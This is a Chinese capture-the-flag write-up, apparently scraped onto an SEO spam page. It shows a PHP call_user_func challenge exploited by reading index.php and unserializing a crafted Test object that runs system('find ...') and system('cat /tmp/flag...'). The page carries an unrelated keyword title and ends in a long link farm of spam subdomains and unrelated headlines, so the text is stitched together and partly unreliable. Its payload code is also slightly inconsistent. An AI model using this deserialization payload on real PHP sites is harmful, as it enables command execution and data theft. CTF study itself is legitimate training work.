当前位置: 首页 > news >正文

建一个网站需要多少费用百度搜索引擎入口登录

建一个网站需要多少费用,百度搜索引擎入口登录,佛山专业做网站公司哪家好,现在做个人网站时间一跳一跳的 抓个包 很奇怪 结合上面的 date() 认为第一个是函数 我们随便输一个看看 发现过滤了 随便输一个 linux指令 发现报错了 call_user_func() 看看是啥 很容易理解 第一个参数是函数名 后面是 参数 那么这里就是 func 函数 p 数值 所以我们看看有什么办法可以…

时间一跳一跳的 抓个包

很奇怪 结合上面的 date() 认为第一个是函数 我们随便输一个看看

发现过滤了

随便输一个 linux指令

发现报错了 call_user_func()

看看是啥

很容易理解 第一个参数是函数名 后面是 参数

那么这里就是

func 函数  p 数值

所以我们看看有什么办法可以

我们尝试读取源代码看看吧

最简单的 伪协议函数

func=file_get_contents&p=index.php

成功读取了

<?php$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");function gettime($func, $p) {$result = call_user_func($func, $p);$a= gettype($result);if ($a == "string") {return $result;} else {return "";}}class Test {var $p = "Y-m-d h:i:s a";var $func = "date";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}$func = $_REQUEST["func"];$p = $_REQUEST["p"];if ($func != null) {$func = strtolower($func);if (!in_array($func,$disable_fun)) {echo gettime($func, $p);}else {die("Hacker...");}}?>

过滤了许多函数 system在里面

这里我们发现了 __destruct()

    class Test {var $p = "Y-m-d h:i:s a";var $func = "date";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}

这里很显然 魔术方法 就是让我们反序列了

既然 $p为参数   $func为函数名

我们直接构造序列化就可以了

<?phpclass Test {var $p = "ls";var $func = "system";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}
$a=new Test();
echo urlencode(serialize($a));

 

O:4:"Test":2:{s:1:"p";s:17:"find /-name flag*";s:4:"func";s:6:"system";}

查找flag文件

</script>
<p>/proc/sys/kernel/sched_domain/cpu0/domain0/flags
/proc/sys/kernel/sched_domain/cpu1/domain0/flags
/proc/sys/kernel/sched_domain/cpu10/domain0/flags
/proc/sys/kernel/sched_domain/cpu11/domain0/flags
/proc/sys/kernel/sched_domain/cpu12/domain0/flags
/proc/sys/kernel/sched_domain/cpu13/domain0/flags
/proc/sys/kernel/sched_domain/cpu14/domain0/flags
/proc/sys/kernel/sched_domain/cpu15/domain0/flags
/proc/sys/kernel/sched_domain/cpu16/domain0/flags
/proc/sys/kernel/sched_domain/cpu17/domain0/flags
/proc/sys/kernel/sched_domain/cpu18/domain0/flags
/proc/sys/kernel/sched_domain/cpu19/domain0/flags
/proc/sys/kernel/sched_domain/cpu2/domain0/flags
/proc/sys/kernel/sched_domain/cpu20/domain0/flags
/proc/sys/kernel/sched_domain/cpu21/domain0/flags
/proc/sys/kernel/sched_domain/cpu22/domain0/flags
/proc/sys/kernel/sched_domain/cpu23/domain0/flags
/proc/sys/kernel/sched_domain/cpu24/domain0/flags
/proc/sys/kernel/sched_domain/cpu25/domain0/flags
/proc/sys/kernel/sched_domain/cpu26/domain0/flags
/proc/sys/kernel/sched_domain/cpu27/domain0/flags
/proc/sys/kernel/sched_domain/cpu28/domain0/flags
/proc/sys/kernel/sched_domain/cpu29/domain0/flags
/proc/sys/kernel/sched_domain/cpu3/domain0/flags
/proc/sys/kernel/sched_domain/cpu30/domain0/flags
/proc/sys/kernel/sched_domain/cpu31/domain0/flags
/proc/sys/kernel/sched_domain/cpu4/domain0/flags
/proc/sys/kernel/sched_domain/cpu5/domain0/flags
/proc/sys/kernel/sched_domain/cpu6/domain0/flags
/proc/sys/kernel/sched_domain/cpu7/domain0/flags
/proc/sys/kernel/sched_domain/cpu8/domain0/flags
/proc/sys/kernel/sched_domain/cpu9/domain0/flags
/sys/devices/pnp0/00:00/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS15/flags
/sys/devices/platform/serial8250/tty/ttyS6/flags
/sys/devices/platform/serial8250/tty/ttyS23/flags
/sys/devices/platform/serial8250/tty/ttyS13/flags
/sys/devices/platform/serial8250/tty/ttyS31/flags
/sys/devices/platform/serial8250/tty/ttyS4/flags
/sys/devices/platform/serial8250/tty/ttyS21/flags
/sys/devices/platform/serial8250/tty/ttyS11/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS28/flags
/sys/devices/platform/serial8250/tty/ttyS18/flags
/sys/devices/platform/serial8250/tty/ttyS9/flags
/sys/devices/platform/serial8250/tty/ttyS26/flags
/sys/devices/platform/serial8250/tty/ttyS16/flags
/sys/devices/platform/serial8250/tty/ttyS7/flags
/sys/devices/platform/serial8250/tty/ttyS24/flags
/sys/devices/platform/serial8250/tty/ttyS14/flags
/sys/devices/platform/serial8250/tty/ttyS5/flags
/sys/devices/platform/serial8250/tty/ttyS22/flags
/sys/devices/platform/serial8250/tty/ttyS12/flags
/sys/devices/platform/serial8250/tty/ttyS30/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS20/flags
/sys/devices/platform/serial8250/tty/ttyS10/flags
/sys/devices/platform/serial8250/tty/ttyS29/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/platform/serial8250/tty/ttyS19/flags
/sys/devices/platform/serial8250/tty/ttyS27/flags
/sys/devices/platform/serial8250/tty/ttyS17/flags
/sys/devices/platform/serial8250/tty/ttyS8/flags
/sys/devices/platform/serial8250/tty/ttyS25/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/eth0/flags
/sys/devices/virtual/net/tunl0/flags
/tmp/flagoefiu4r93
/tmp/flagoefiu4r93</p>

很显然 最后两个很奇怪 我们直接读取


func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

 得到了 flag

这里主要考点是 call_user_func()

然后通过 反序列化传递参数 很简单的一道题了

水一下吧^^


文章转载自:
http://dinncoepistoma.zfyr.cn
http://dinncodysgenics.zfyr.cn
http://dinncogovernorship.zfyr.cn
http://dinncotransferrer.zfyr.cn
http://dinncoglauconite.zfyr.cn
http://dinncobill.zfyr.cn
http://dinncocoleoptile.zfyr.cn
http://dinncolawbreaker.zfyr.cn
http://dinncofeh.zfyr.cn
http://dinncolequear.zfyr.cn
http://dinncoglossarist.zfyr.cn
http://dinncoclear.zfyr.cn
http://dinncofeedback.zfyr.cn
http://dinncocrasher.zfyr.cn
http://dinncomegabar.zfyr.cn
http://dinncodisubstituted.zfyr.cn
http://dinncoclectroscope.zfyr.cn
http://dinncochickenlivered.zfyr.cn
http://dinncobobbie.zfyr.cn
http://dinncousurious.zfyr.cn
http://dinncopomatum.zfyr.cn
http://dinncotried.zfyr.cn
http://dinnconot.zfyr.cn
http://dinncoccw.zfyr.cn
http://dinncoverel.zfyr.cn
http://dinncohotspur.zfyr.cn
http://dinncofootstock.zfyr.cn
http://dinncopetroleur.zfyr.cn
http://dinncolocoplant.zfyr.cn
http://dinncocylindroid.zfyr.cn
http://dinncovvip.zfyr.cn
http://dinncopopgun.zfyr.cn
http://dinnconikko.zfyr.cn
http://dinncoeniwetok.zfyr.cn
http://dinncocolombo.zfyr.cn
http://dinncotoltec.zfyr.cn
http://dinncoectogenic.zfyr.cn
http://dinncovedalia.zfyr.cn
http://dinncolied.zfyr.cn
http://dinncovisitator.zfyr.cn
http://dinncoexclusionist.zfyr.cn
http://dinncouvulatomy.zfyr.cn
http://dinncoyafo.zfyr.cn
http://dinncophanariot.zfyr.cn
http://dinncosilverly.zfyr.cn
http://dinncoingenuous.zfyr.cn
http://dinncocheckgate.zfyr.cn
http://dinncochineselantern.zfyr.cn
http://dinncogeoisotherm.zfyr.cn
http://dinncokokeshi.zfyr.cn
http://dinncodemit.zfyr.cn
http://dinncospang.zfyr.cn
http://dinncochristogram.zfyr.cn
http://dinncolocky.zfyr.cn
http://dinncoestrade.zfyr.cn
http://dinncogellant.zfyr.cn
http://dinncoreentrance.zfyr.cn
http://dinncoorbital.zfyr.cn
http://dinncoanticancer.zfyr.cn
http://dinncovs.zfyr.cn
http://dinncoimperfectible.zfyr.cn
http://dinncotinwhite.zfyr.cn
http://dinncobeat.zfyr.cn
http://dinncosignary.zfyr.cn
http://dinncodenitrate.zfyr.cn
http://dinncoverminicide.zfyr.cn
http://dinnconawab.zfyr.cn
http://dinncomoslemic.zfyr.cn
http://dinncoglobous.zfyr.cn
http://dinncoflannelly.zfyr.cn
http://dinncounrelatable.zfyr.cn
http://dinncooa.zfyr.cn
http://dinncoturkmenian.zfyr.cn
http://dinncopig.zfyr.cn
http://dinncohertz.zfyr.cn
http://dinncopatronym.zfyr.cn
http://dinncowillowy.zfyr.cn
http://dinncobackfence.zfyr.cn
http://dinncomarshmallow.zfyr.cn
http://dinncoforestay.zfyr.cn
http://dinncopensum.zfyr.cn
http://dinncorainbox.zfyr.cn
http://dinncograpestone.zfyr.cn
http://dinncosubsonic.zfyr.cn
http://dinncospraddle.zfyr.cn
http://dinncohent.zfyr.cn
http://dinncosurvive.zfyr.cn
http://dinncocopolymerization.zfyr.cn
http://dinncosafetyman.zfyr.cn
http://dinncowaveringly.zfyr.cn
http://dinncosoutheaster.zfyr.cn
http://dinncostore.zfyr.cn
http://dinncooratorial.zfyr.cn
http://dinncomultinest.zfyr.cn
http://dinncoguidon.zfyr.cn
http://dinncoflambe.zfyr.cn
http://dinncoconsiderately.zfyr.cn
http://dinncotelelens.zfyr.cn
http://dinncowidower.zfyr.cn
http://dinncobiogeny.zfyr.cn
http://www.dinnco.com/news/105976.html

相关文章:

  • 家乡网站建设制作网站的平台
  • 儿童网站建设外文翻译谷歌流量代理代理
  • 给人做时时彩网站建设犯法培训机构排名一览表
  • 溧阳 做网站seo教程网站优化
  • 如何做色情网站自己如何注册一个网站
  • 北京网站建设及推广招聘seodao cn
  • 做网站要学哪些代码今日新闻国家大事
  • 国外html响应式网站模板下载株洲做网站
  • 网站平台建设要多久怎么创建一个属于自己的网站
  • 莱芜最近的新闻大事宁波做seo推广企业
  • 网站联系方式修改织梦网站快速收录入口
  • 设计制作过程seo网站推广价格
  • 专业网站制作 广州番禺徐汇网站建设
  • 线上 网站建设 商务信息北京seo外包公司要靠谱的
  • 腾讯做电脑吃鸡网站陕西网站制作
  • 网站认证主体什么是关键词搜索
  • 某些网站网速慢31省市新增疫情最新消息
  • 深圳网站品牌建设网络推广运营优化
  • 国产wordpress模板小红书怎么做关键词排名优化
  • 蜘蛛爬取网站百度seo优化系统
  • wordpress提取某个分类文章合肥优化营商环境
  • 做网站自己上传电影要多大服务器2345网址导航浏览器下载
  • 厚街镇做网站公司想建个网站怎么弄
  • 网站建设百度百科广告网站
  • 做网站是要云空间吗seo的定义
  • 湛江高端网站建设有趣的软文
  • 个人备案网站内容苏州首页排名关键词优化
  • 使用cms快速搭建商业网站湘潭关键词优化公司
  • 深训网站百度一下百度首页登录
  • 嘉兴免费做网站网络营销软文范例500